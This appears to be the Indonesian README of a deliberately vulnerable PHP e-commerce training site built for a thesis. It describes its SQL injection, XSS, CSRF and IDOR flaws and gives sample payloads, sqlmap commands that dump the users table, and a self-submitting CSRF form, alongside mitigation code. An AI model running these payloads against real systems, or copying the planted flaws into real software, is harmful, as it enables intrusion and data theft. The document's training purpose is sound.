π¨ PERINGATAN: Website ini sengaja dibuat RENTAN untuk tujuan penelitian dan edukasi!
- Tentang Proyek
- Fitur
- Kerentanan yang Diimplementasikan
- Instalasi
- Penggunaan
- Testing Kerentanan
- Struktur Proyek
- Load Testing
- Dokumentasi
- Disclaimer
- Lisensi
Proyek ini adalah implementasi website e-commerce yang sengaja dibuat rentan sebagai bagian dari penelitian Tugas Akhir tentang keamanan aplikasi web. Website ini dibangun menggunakan PHP dan MySQL dengan berbagai kerentanan keamanan yang umum ditemukan untuk tujuan pembelajaran dan demonstrasi teknik eksploitasi serta mitigasi.
- Mengidentifikasi dan mengimplementasikan kerentanan web umum (OWASP Top 10)
- Melakukan analisis dan eksploitasi kerentanan menggunakan tools seperti SQLMap dan XSStrike
- Mendemonstrasikan dampak dari setiap kerentanan
- Mengembangkan dan menguji strategi mitigasi
- Melakukan load testing dan stress testing untuk analisis performa
- Peneliti keamanan
- Mahasiswa yang belajar web security
- Praktisi cybersecurity untuk training
- Pengembang yang ingin memahami secure coding practices
- π€ Registrasi dan autentikasi pengguna
- ποΈ Katalog produk dengan pencarian dan filter
- π Keranjang belanja
- π³ Sistem checkout dan pemesanan
- π¦ Riwayat dan pelacakan pesanan
- π± Quick login untuk testing (admin/user)
- π Dashboard dengan statistik
- π Manajemen produk (CRUD)
- π·οΈ Manajemen kategori
- π¦ Manajemen pesanan
- π₯ Manajemen pengguna
- π Activity logs
- π Debug mode (
?debug=1) - π Query display (
?show_query=1) - π Quick login buttons
- π Load testing scripts
- π― WAF simulation
Lokasi:
public/product_detail.php?id=- Parameter ID rentan terhadap SQLipublic/login.php- Login formpublic/products.php- Search dan filter
Contoh Eksploitasi:
# Menggunakan SQLMap
sqlmap -u "http://192.168.1.15:8000/product_detail.php?id=1" -p id --batch -D vulnerable_shop --tables
# Manual test
http://localhost/product_detail.php?id=1' OR '1'='1Dampak:
- Ekstraksi database lengkap
- Bypass autentikasi
- Modifikasi/hapus data
- Remote code execution (dalam kondisi tertentu)
Tipe XSS:
- Reflected XSS: Parameter
?message=di header - Stored XSS: Deskripsi produk, komentar
- DOM-based XSS: Client-side JavaScript manipulation
Lokasi Rentan:
includes/header.php- Reflected XSS via$_GET['message']public/assets/js/script.js- DOM sinkinnerHTMLpublic/admin/ajax_handler.php- Stored XSS
Contoh Eksploitasi:
// Reflected XSS - Console proof
http://localhost/?message=<img src=x onerror="console.log('XSS_PROOF')">
// Change document title
http://localhost/?message=<svg onload="document.title='HACKED'"></svg>
// DOM manipulation
http://localhost/?message=<img src=x onerror="document.body.appendChild(document.createTextNode('XSS'))">Tools:
# XSStrike
python xsstrike.py -u "http://192.168.1.15:8000/?message=test"Dampak:
- Session hijacking
- Credential theft
- Defacement
- Phishing attacks
Lokasi:
- Semua form tanpa CSRF token
- State-changing operations via GET
- Admin actions
Contoh Eksploitasi:
<!-- Delete product via CSRF -->
<img src="http://target.com/admin/delete_product.php?id=1">
<!-- Add admin user -->
<form action="http://target.com/admin/add_user.php" method="POST">
<input name="username" value="hacker">
<input name="role" value="admin">
</form>Lokasi:
public/orders.php?id=- Access other users' orderspublic/admin/edit_order.php?id=
Contoh:
# Access other user's order
http://localhost/orders.php?id=123
Kerentanan:
- Plaintext password storage
- Weak session management
- No account lockout
- Predictable session IDs
Lokasi:
public/login.phpincludes/config.php- Password handling
Masalah:
- Database credentials in plain text (
includes/config.php) - Error messages expose system information
- Debug mode enabled (
?debug=1) - phpinfo.php accessible
Contoh:
- Exposed
.gitdirectory - Server information headers
- Directory listing enabled
- Debug features in production
Lokasi:
- Admin product image upload
- No file type validation
- No size restrictions
- Executable files allowed
- PHP 7.4 atau lebih tinggi
- MySQL 5.7 atau lebih tinggi
- Web server (Apache/Nginx) atau XAMPP/WAMP
- Git (untuk clone repository)
- Clone Repository
git clone https://github.com/athrenX/TA.git
cd TA- Setup Database
# Buat database
mysql -u root -p
# Di MySQL prompt
CREATE DATABASE vulnerable_shop;
exit;
# Import database
mysql -u root -p vulnerable_shop < database/database.sqlAtau gunakan database enhanced:
mysql -u root -p vulnerable_shop < database/database_enhanced.sql- Konfigurasi Database
Edit includes/config.php:
define('DB_HOST', 'localhost');
define('DB_USERNAME', 'root');
define('DB_PASSWORD', 'your_password');
define('DB_NAME', 'vulnerable_shop');- Set Permissions
# Linux/Mac
chmod 755 public/uploads/
# Windows - beri write permission pada folder uploads- Jalankan Server
# PHP Built-in Server (Development)
php -S localhost:8000 -t public
# Atau gunakan XAMPP/WAMP
# Copy folder ke htdocs/www- Akses Website
http://localhost:8000
- Username:
admin - Password:
admin123 - URL:
http://localhost:8000/admin/
- Username:
john_doe| Password:user123 - Username:
jane_smith| Password:user123
?quick_login=admin # Login sebagai admin
?quick_login=user # Login sebagai user biasa
?debug=1 # Tampilkan debug info
?show_query=1 # Tampilkan SQL queries
Manual Testing:
-- Login bypass
username: admin' OR '1'='1' --
password: anything
-- Extract data
http://localhost/product_detail.php?id=1' UNION SELECT NULL,username,password,NULL FROM users--Automated (SQLMap):
# Enumerate databases
sqlmap -u "http://localhost:8000/product_detail.php?id=1" --dbs
# Dump tables
sqlmap -u "http://localhost:8000/product_detail.php?id=1" -D vulnerable_shop --tables
# Dump users table
sqlmap -u "http://localhost:8000/product_detail.php?id=1" -D vulnerable_shop -T users --dumpManual Testing:
// Alert box
<script>alert('XSS')</script>
// Console log
<img src=x onerror="console.log('XSS')">
// Document manipulation
<svg onload="document.title='XSS'"></svg>Automated (XSStrike):
git clone https://github.com/s0md3v/XSStrike.git
cd XSStrike
pip install -r requirements.txt
python xsstrike.py -u "http://localhost:8000/?message=test"<!-- Create CSRF POC -->
<html>
<body>
<form action="http://localhost:8000/admin/delete_product.php" method="POST">
<input type="hidden" name="id" value="1">
<input type="submit" value="Click me!">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>vulnerable-shop/
βββ database/ # Database files
β βββ database.sql # Basic database schema
β βββ database_enhanced.sql # Enhanced with sample data
β
βββ docs/ # Documentation
β βββ README.md # Main documentation
β βββ TA_EVIDENCE.md # Evidence for thesis
β βββ TA_REPORT_INDONESIAN.md
β βββ DEPLOYMENT_GUIDE.md
β βββ HOSTING_GUIDE.md
β βββ ...
β
βββ includes/ # Shared PHP includes
β βββ config.php # Database config & functions
β βββ header.php # Site header
β βββ footer.php # Site footer
β βββ order_card.php # Order card component
β
βββ load-tests/ # Performance testing
β βββ k6-smoke.js # K6 smoke test
β βββ k6-stress.js # K6 stress test
β βββ k6-spike.js # K6 spike test
β βββ load.py # Python load test
β βββ waf_simulator.py # WAF simulation
β βββ run-all-tests.ps1 # Run all tests (PowerShell)
β βββ results/ # Test results
β
βββ public/ # Public web root
β βββ index.php # Homepage
β βββ login.php # User login
β βββ register.php # User registration
β βββ products.php # Product catalog
β βββ product_detail.php # Product details (SQLi vulnerable)
β βββ cart.php # Shopping cart
β βββ checkout.php # Checkout process
β βββ orders.php # Order history
β βββ categories.php # Categories page
β βββ xss-test.php # XSS testing page
β β
β βββ admin/ # Admin panel
β β βββ admin_products.php
β β βββ admin_orders.php
β β βββ admin_users.php
β β βββ admin_categories.php
β β βββ admin_logs.php
β β βββ ajax_handler.php
β β
β βββ assets/ # Static assets
β β βββ css/
β β βββ js/
β β βββ images/
β β
β βββ uploads/ # User uploads
β
βββ .gitignore # Git ignore rules
βββ README.md # This file
Project ini dilengkapi dengan comprehensive load testing tools.
- K6 - Modern load testing tool
- Python requests - Custom load testing
- WAF Simulator - Simulate WAF attacks
# Install K6 (Windows)
choco install k6
# Smoke test (validasi basic functionality)
k6 run load-tests/k6-smoke.js
# Stress test (find breaking point)
k6 run load-tests/k6-stress.js
# Spike test (sudden traffic increase)
k6 run load-tests/k6-spike.js
# Run all tests (PowerShell)
cd load-tests
.\run-all-tests.ps1
# Python load test
python load-tests/load.py
# WAF simulation
python load-tests/waf_simulator.pyResults disimpan di load-tests/results/:
- CSV files untuk detailed metrics
- JSON files untuk summary statistics
Dokumentasi lengkap tersedia di folder docs/:
| File | Deskripsi |
|---|---|
README.md |
Main documentation (English) |
TA_EVIDENCE.md |
Evidence collection for thesis |
TA_REPORT_INDONESIAN.md |
Indonesian thesis report |
DEPLOYMENT_GUIDE.md |
Deployment instructions |
HOSTING_GUIDE.md |
Hosting setup guide |
DATABASE_HOSTING_GUIDE.md |
Database hosting guide |
ADMIN_PANEL_GUIDE.md |
Admin panel documentation |
ERROR_FIXES_COMPLETED.md |
Fixed issues log |
Untuk membuat aplikasi ini aman, Anda perlu:
// β Vulnerable
$query = "SELECT * FROM products WHERE id = " . $_GET['id'];
// β
Secure - Use prepared statements
$stmt = $pdo->prepare("SELECT * FROM products WHERE id = ?");
$stmt->execute([$_GET['id']]);// β Vulnerable
echo $_GET['message'];
// β
Secure - Escape output
echo htmlspecialchars($_GET['message'], ENT_QUOTES, 'UTF-8');// Generate CSRF token
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
// Validate on form submission
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die('CSRF token validation failed');
}// β Vulnerable - Plaintext
$password = $_POST['password'];
// β
Secure - Hash with bcrypt
$hashed = password_hash($_POST['password'], PASSWORD_BCRYPT);
// Verify
if (password_verify($input, $hashed)) {
// Login successful
}// Validate file type
$allowed = ['jpg', 'jpeg', 'png', 'gif'];
$ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $allowed)) {
die('Invalid file type');
}
// Rename file
$newName = uniqid() . '.' . $ext;// Check authentication
if (!isset($_SESSION['user_id'])) {
header('Location: login.php');
exit;
}
// Check authorization
if ($_SESSION['role'] !== 'admin') {
die('Access denied');
}Aplikasi ini SENGAJA DIBUAT RENTAN dan TIDAK BOLEH digunakan dalam environment production atau server yang dapat diakses publik. Aplikasi ini dibuat HANYA UNTUK TUJUAN EDUKASI.
β BOLEH digunakan untuk:
- Penelitian akademis dan Tugas Akhir
- Pembelajaran tentang keamanan web
- Training dan workshop keamanan
- Penetration testing practice di environment terkontrol
- Security awareness training
β TIDAK BOLEH digunakan untuk:
- Production environment
- Server yang dapat diakses publik
- Menyimpan data nyata/sensitif
- Aktivitas ilegal atau tidak etis
- Attacking sistem tanpa izin
- Jalankan aplikasi HANYA di environment terisolasi (localhost/VM/lab network)
- JANGAN deploy ke internet atau hosting publik
- JANGAN gunakan credential/data nyata
- JANGAN gunakan code ini di aplikasi production
- Author TIDAK BERTANGGUNG JAWAB atas penyalahgunaan kode ini
Proyek ini dibuat untuk meningkatkan pemahaman tentang keamanan web dan membantu developer membangun aplikasi yang lebih aman. Gunakan pengetahuan ini secara bertanggung jawab dan etis.
"With great power comes great responsibility"
- Setup environment sesuai panduan instalasi
- Jalankan tools testing (SQLMap, XSStrike)
- Dokumentasikan hasil dengan screenshot
- Simpan artefak di
docs/TA_EVIDENCE.md
- Command yang digunakan (copy-paste exact command)
- Screenshot terminal output
- Screenshot browser (reflected payload)
- Developer Tools screenshots
- Exported data (redacted)
- Load testing results
# Run server only on localhost
php -S 127.0.0.1:8000 -t public
# Use VM/isolated network
# Take database snapshots before testing
# Rotate credentials after testingMIT License - Proyek ini dibuat untuk tujuan edukasi.
Copyright (c) 2025 - Vulnerable Shop TA Project
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
Tugas Akhir - Web Application Security Research
Repository: https://github.com/athrenX/TA
Untuk pertanyaan terkait proyek edukasi ini atau diskusi tentang keamanan web, silakan hubungi melalui:
- GitHub Issues: https://github.com/athrenX/TA/issues
- Email: [Kontak melalui GitHub]
- OWASP Top 10 untuk guideline kerentanan
- SQLMap project untuk SQL injection testing
- XSStrike project untuk XSS testing
- K6 untuk load testing tools
- Community security researchers
Status: Active Development (Tugas Akhir Research)
Last Updated: January 2026
Version: 1.0.0
- β Initial release dengan 8+ kerentanan teridentifikasi
- β Complete documentation dalam Bahasa Indonesia
- β Load testing suite dengan K6 & Python
- β Admin panel dengan comprehensive features
- β Sample data dan quick login untuk testing
- β Comprehensive evidence collection untuk TA
β‘ Remember: Learn to defend by understanding attacks. Use this knowledge responsibly! β‘